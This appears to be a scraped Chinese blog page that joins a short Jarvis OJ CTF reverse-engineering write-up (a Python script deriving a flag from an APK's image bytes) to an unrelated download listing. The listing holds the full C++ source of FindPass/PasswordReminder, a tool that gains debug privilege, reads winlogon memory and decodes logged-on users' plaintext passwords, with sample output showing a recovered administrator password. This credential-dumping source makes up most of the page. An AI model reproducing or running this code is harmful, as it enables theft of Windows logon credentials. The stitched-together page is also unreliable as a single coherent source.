CTF-RE-FindPass(Jarvis oj)

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原创最新推荐文章于 2026-10-04 15:02:38 发布 733 阅读 AI 写同款· GEO 优化 ›

findpass：专业的网络安全密码提取工具 findpass是一个专为IT安全人员设计的工具，它主要用于密码恢复和系统安全检查。它能够从多种系统组件中提取密码，包括但不限于Windows操作系统中的本地账户密码、域控制器中的密码哈希值，以及某些情况下使用缓存的凭证。使用findpass，安全专家可以在遭受黑客攻击或系统漏洞利用后进行快速的密码恢复，以及评估系统安全等级，确定安全漏洞和潜在的风险。它还可以用于渗透测试过程中，帮助测试人员以合法的方式获取系统权限。阅读详情

分析源代码:

发现cha数组是从src.jpg图片里得到的信息，图片在apk反编译后的asset文件夹里找到。

在strings.xml文件中可以得到fkey的值

接下来就是理清逻辑思路写代码爆破。要注意的是cha数组里面有超过char类型的数据，因此要注意操作不要越界

以下是脚本代码

fil=open('src.jpg','rb')
cha=[]
fil.seek(0,0)
for i in range(1024):
    tok=fil.read(1)
    cha.append(ord(tok))

flag=''
ekey='Tr43Fla92Ch4n93'
for i in range(len(ekey)):
    if cha[ord(ekey[i])]<128:
        t=cha[ord(ekey[i])]%10
    else: t=(-(cha[ord(ekey[i])]%128))%10
    if(i&1):flag+=chr(ord(ekey[i])+t)
    else: flag+=chr(ord(ekey[i])-t)
print(flag)

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CTF-RE

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用户名密码查询findpass // Find Password from winlogon in win2000 / winnt4 + < sp6 // // PasswordReminder.cpp --> FindPass.cpp // 1. http://www.smidgeonsoft.com/ // 2. shotgun add comment, bingle change a little to find other user in winlogon // This code is licensed under the terms of the GPL (gnu public license). // // Usage: FindPass DomainName UserName PID-of-WinLogon // // you can get the three params from pulist output in target system. // /* 因为登陆的域名和用户名是明文存储在winlogon进程里的，而PasswordReminder是限定了查找本进程用户的密码 <167-174： GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); >，然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串 if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) > ，找到后就查后边的加密口令。其实只要你自己指定用户名和winlogon进程去查找就行了，只要你是管理员，任何本机用msgina.dll图形登陆的用户口令都可以找到。 1. pulist，找到系统里登陆的域名和用户名，及winlogon进程id 2. 然后给每个winlogon进程id查找指定的用户就行了。 example: C:\Documents and Settings\bingle>pulist Process PID User Idle 0 System 8 smss.exe 164 NT AUTHORITY\SYSTEM csrss.exe 192 NT AUTHORITY\SYSTEM winlogon.exe 188 NT AUTHORITY\SYSTEM wins.exe 1212 NT AUTHORITY\SYSTEM Explorer.exe 388 TEST-2KSERVER\Administrator internat.exe 1828 TEST-2KSERVER\Administrator conime.exe 1868 TEST-2KSERVER\Administrator msiexec.exe 1904 NT AUTHORITY\SYSTEM tlntsvr.exe 1048 NT AUTHORITY\SYSTEM taskmgr.exe 1752 TEST-2KSERVER\Administrator csrss.exe 2056 NT AUTHORITY\SYSTEM winlogon.exe 2416 NT AUTHORITY\SYSTEM rdpclip.exe 2448 TEST-2KSERVER\clovea Explorer.exe 2408 TEST-2KSERVER\clovea internat.exe 1480 TEST-2KSERVER\clovea cmd.exe 2508 TEST-2KSERVER\Administrator ntshell.exe 368 TEST-2KSERVER\Administrator ntshell.exe 1548 TEST-2KSERVER\Administrator ntshell.exe 1504 TEST-2KSERVER\Administrator csrss.exe 1088 NT AUTHORITY\SYSTEM winlogon.exe 1876 NT AUTHORITY\SYSTEM rdpclip.exe 1680 TEST-2KSERVER\bingle Explorer.exe 2244 TEST-2KSERVER\bingle conime.exe 2288 TEST-2KSERVER\bingle internat.exe 1592 TEST-2KSERVER\bingle cmd.exe 1692 TEST-2KSERVER\bingle mdm.exe 2476 TEST-2KSERVER\bingle taskmgr.exe 752 TEST-2KSERVER\bingle pulist.exe 2532 TEST-2KSERVER\bingle C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER administrator 188 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 188 (0x000000bc). To find TEST-2KSERVER\administrator password in process 188 ... The encoded password is found at 0x008e0800 and has a length of 10. The logon information is: TEST-2KSERVER/administrator/testserver. The hash byte is: 0x13. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\clovea password in process 1876 ... PasswordReminder is unable to find the password in memory. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER bingle 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\bingle password in process 1876 ... The logon information is: TEST-2KSERVER/bingle. There is no password. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 2416 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 2416 (0x00000970). To find TEST-2KSERVER\clovea password in process 2416 ... The logon information is: TEST-2KSERVER/clovea. There is no password. C:\Documents and Settings\bingle> */ #include <stdafx.h> #include <windows.h> #include <tchar.h> #include <stdio.h> #include <stdlib.h> typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // Undocumented typedef's typedef struct _QUERY_SYSTEM_INFORMATION { DWORD GrantedAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle; } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER { DWORD Count; DWORD Unk04; DWORD Unk08; } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO { DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name [0x108]; } PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO { DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD Unk18; DWORD Unk1C; DWORD Unk20; DWORD Unk24; DWORD Unk28; UNICODE_STRING EncodedPassword; } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING); // Private Prototypes BOOL IsWinNT (void); BOOL IsWin2K (void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWinNT (DWORD, PDWORD); BOOL LocatePasswordPageWin2K (DWORD, PDWORD); void DisplayPasswordWinNT (void); void DisplayPasswordWin2K (void); // Global Variables PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength = 0; PVOID RealPasswordP = NULL; PVOID PasswordP = NULL; DWORD HashByte = 0; wchar_t UserName [0x400]; wchar_t UserDomain [0x400]; int __cdecl main( int argc, char* argv[] ) { printf( "\n\t To Find Password in the Winlogon process\n" ); printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] ); if ((!IsWinNT ()) && (!IsWin2K ())) { printf ("Windows NT or Windows 2000 are required.\n"); return (0); } // Add debug privilege to PasswordReminder - // this is needed for the search for Winlogon. // 增加PasswordReminder的权限 // 使得PasswordReminder可以打开并调试Winlogon进程 if (!AddDebugPrivilege ()) { printf ("Unable to add debug privilege.\n"); return (0); } printf ("The debug privilege has been added to PasswordReminder.\n"); // 获得几个未公开API的入口地址 HINSTANCE hNtDll = LoadLibrary ("NTDLL.DLL"); pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress (hNtDll, "NtQuerySystemInformation"); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress (hNtDll, "RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlDestroyQueryDebugBuffer"); pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress (hNtDll, "RtlRunDecodeUnicodeString"); // Locate WinLogon's PID - need debug privilege and admin rights. // 获得Winlogon进程的PID // 这里作者使用了几个Native API，其实使用PSAPI一样可以 DWORD WinLogonPID = argc > 3 ? atoi( argv[3] ) : FindWinLogon () ; if (WinLogonPID == 0) { printf ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n"); printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } printf("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID); // Set values to check memory block against. // 初始化几个和用户账号相关的变量 memset(UserName, 0, sizeof (UserName)); memset(UserDomain, 0, sizeof (UserDomain)); if( argc > 2 ) { mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) ); mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) ); }else { GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400); } printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID ); // Locate the block of memory containing // the password in WinLogon's memory space. // 在Winlogon进程中定位包含Password的内存块 BOOL FoundPasswordPage = FALSE; if (IsWin2K ()) FoundPasswordPage = LocatePasswordPageWin2K (WinLogonPID, &PasswordLength); else FoundPasswordPage = LocatePasswordPageWinNT (WinLogonPID, &PasswordLength); if (FoundPasswordPage) { if (PasswordLength == 0) { printf ("The logon information is: %S/%S.\n", UserDomain, UserName); printf ("There is no password.\n"); } else { printf ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", RealPasswordP, PasswordLength); // Decode the password string. if (IsWin2K ()) DisplayPasswordWin2K (); else DisplayPasswordWinNT (); } } else printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } // main // // IsWinNT函数用来判断操作系统是否WINNT // BOOL IsWinNT (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT); else return (FALSE); } // IsWinNT // // IsWin2K函数用来判断操作系统是否Win2K // BOOL IsWin2K (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); else return (FALSE); } // IsWin2K // // AddDebugPrivilege函数用来申请调试Winlogon进程的特权 // BOOL AddDebugPrivilege (void) { HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges, PreviousState; DWORD ReturnLength = 0; if (OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token)) if (LookupPrivilegeValue (NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid)) { TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; return (AdjustTokenPrivileges (Token, FALSE, &TokenPrivileges, sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength)); } return (FALSE); } // AddDebugPrivilege // // Note that the following code eliminates the need // for PSAPI.DLL as part of the executable. // FindWinLogon函数用来寻找WinLogon进程 // 由于作者使用的是Native API，因此不需要PSAPI的支持 // DWORD FindWinLogon (void) { #define INITIAL_ALLOCATION 0x100 DWORD rc = 0; DWORD SizeNeeded = 0; PVOID InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION); // Find how much memory is required. pfnNtQuerySystemInformation (0x10, InfoP, INITIAL_ALLOCATION, &SizeNeeded); HeapFree (GetProcessHeap (), 0, InfoP); // Now, allocate the proper amount of memory. InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SizeNeeded); DWORD SizeWritten = SizeNeeded; if (pfnNtQuerySystemInformation (0x10, InfoP, SizeNeeded, &SizeWritten)) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); if (NumHandles == 0) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) InfoP; DWORD i; for (i = 1; i <= NumHandles; i++) { // "5" is the value of a kernel object type process. if (QuerySystemInformationP->HandleType == 5) { PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer (0, 0); if (pfnRtlQueryProcessDebugInformation (QuerySystemInformationP->PID, 1, DebugBufferP) == 0) { PPROCESS_INFO_HEADER ProcessInfoHeaderP = (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60); DWORD Count = ProcessInfoHeaderP->Count; PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER)); if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0) { DWORD i; DWORD dw = (DWORD) ProcessInfoP; for (i = 0; i < Count; i++) { dw += sizeof (PROCESS_INFO); ProcessInfoP = (PPROCESS_INFO) dw; if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0) return (0); if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0) rc = QuerySystemInformationP->PID; } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); } DWORD dw = (DWORD) QuerySystemInformationP; dw += sizeof (QUERY_SYSTEM_INFORMATION); QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw; } HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } // FindWinLogon // // LocatePasswordPageWinNT函数用来在NT中找到用户密码 // BOOL LocatePasswordPageWinNT (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WINNT 0x200 #define USER_PASSWORD_OFFSET_WINNT 0x400 BOOL rc = FALSE; HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (rc); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD PEB = 0x7ffdf000; DWORD BytesCopied = 0; PVOID PEBP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SystemInfo.dwPageSize); if (!ReadProcessMemory (WinLogonHandle, (PVOID) PEB, PEBP, SystemInfo.dwPageSize, &BytesCopied)) { CloseHandle (WinLogonHandle); return (rc); } // Grab the value of the 2nd DWORD in the TEB. PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD))); MEMORY_BASIC_INFORMATION MemoryBasicInformation; if (VirtualQueryEx (WinLogonHandle, (PVOID) *WinLogonHeap, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID WinLogonMemP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); if (ReadProcessMemory (WinLogonHandle, (PVOID) *WinLogonHeap, WinLogonMemP, MemoryBasicInformation.RegionSize, &BytesCopied)) { DWORD i = (DWORD) WinLogonMemP; DWORD UserNamePos = 0; // The order in memory is UserName followed by the UserDomain. // 在内存中搜索UserName和UserDomain字符串 do { if ((wcsicmp (UserName, (wchar_t *) i) == 0) && (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0)) { UserNamePos = i; break; } i += 2; } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize); if (UserNamePos) { PENCODED_PASSWORD_INFO EncodedPasswordInfoP = (PENCODED_PASSWORD_INFO) ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT); FILETIME LocalFileTime; SYSTEMTIME SystemTime; if (FileTimeToLocalFileTime (&EncodedPasswordInfoP->LoggedOn, &LocalFileTime)) if (FileTimeToSystemTime (&LocalFileTime, &SystemTime)) printf ("You logged on at %d/%d/%d %d:%d:%d\n", SystemTime.wMonth, SystemTime.wDay, SystemTime.wYear, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond); *PasswordLength = (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t); // NT就是好，hash-byte直接放在编码中:) HashByte = (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8; RealPasswordP = (PVOID) (*WinLogonHeap + (UserNamePos - (DWORD) WinLogonMemP) + USER_PASSWORD_OFFSET_WINNT + 0x34); PasswordP = (PVOID) ((PBYTE) (UserNamePos + USER_PASSWORD_OFFSET_WINNT + 0x34)); rc = TRUE; } } } HeapFree (GetProcessHeap (), 0, PEBP); CloseHandle (WinLogonHandle); return (rc); } // LocatePasswordPageWinNT // // LocatePasswordPageWin2K函数用来在Win2K中找到用户密码 // BOOL LocatePasswordPageWin2K (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WIN2K 0x400 #define USER_PASSWORD_OFFSET_WIN2K 0x800 HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (FALSE); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress; DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress; DWORD Increment = SystemInfo.dwPageSize; MEMORY_BASIC_INFORMATION MemoryBasicInformation; while (i < MaxMemory) { if (VirtualQueryEx (WinLogonHandle, (PVOID) i, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) { Increment = MemoryBasicInformation.RegionSize; if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID RealStartingAddressP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); DWORD BytesCopied = 0; if (ReadProcessMemory (WinLogonHandle, (PVOID) i, RealStartingAddressP, MemoryBasicInformation.RegionSize, &BytesCopied)) { // 在WinLogon的内存空间中寻找UserName和DomainName的字符串 if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) { RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K); PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K); // Calculate the length of encoded unicode string. // 计算出密文的长度 PBYTE p = (PBYTE) PasswordP; DWORD Loc = (DWORD) p; DWORD Len = 0; if ((*p == 0) && (* (PBYTE) ((DWORD) p + 1) == 0)) ; else do { Len++; Loc += 2; p = (PBYTE) Loc; } while (*p != 0); *PasswordLength = Len; CloseHandle (WinLogonHandle); return (TRUE); } } HeapFree (GetProcessHeap (), 0, RealStartingAddressP); } } else Increment = SystemInfo.dwPageSize; // Move to next memory block. i += Increment; } CloseHandle (WinLogonHandle); return (FALSE); } // LocatePasswordPageWin2K // // DisplayPasswordWinNT函数用来在NT中解码用户密码 // void DisplayPasswordWinNT (void) { UNICODE_STRING EncodedString; EncodedString.Length = (WORD) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - decode the password. // Note that only one call is required since the hash-byte // was part of the orginally encoded string. // 在NT中，hash-byte是包含在编码中的 // 因此只需要直接调用函数解码就可以了 pfnRtlRunDecodeUnicodeString ((BYTE) HashByte, &EncodedString); printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", HashByte); HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWinNT // // DisplayPasswordWin2K函数用来在Win2K中解码用户密码 // void DisplayPasswordWin2K (void) { DWORD i, Hash = 0; UNICODE_STRING EncodedString; EncodedString.Length = (USHORT) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); // This is a brute force technique since the hash-byte // is not stored as part of the encoded string - :>(. // 因为在Win2K中hash-byte并不存放在编码中 // 所以在这里进行的是暴力破解 // 下面的循环中i就是hash-byte // 我们将i从0x00到0xff分别对密文进行解密 // 如果有一个hash-byte使得所有密码都是可见字符，就认为是有效的 // 这个算法实际上是从概率角度来解码的 // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小 for (i = 0; i <= 0xff; i++) { CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - try to decode the password. // 使用i作为hash-byte对密文进行解码 pfnRtlRunDecodeUnicodeString ((BYTE) i, &EncodedString); // Check for a viewable password. // 检查解码出的密码是否完全由可见字符组成 // 如果是则认为是正确的解码 PBYTE p = (PBYTE) EncodedString.Buffer; BOOL Viewable = TRUE; DWORD j, k; for (j = 0; (j < PasswordLength) && Viewable; j++) { if ((*p) && (* (PBYTE)(DWORD (p) + 1) == 0)) { if (*p < 0x20) Viewable = FALSE; if (*p > 0x7e) Viewable = FALSE; //0x20是空格，0X7E是~，所有密码允许使用的可见字符都包括在里面了 } else Viewable = FALSE; k = DWORD (p); k++; k++; p = (PBYTE) k; } if (Viewable) { printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", i); } } HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWin2K // end PasswordReminder.cpp 立即下载

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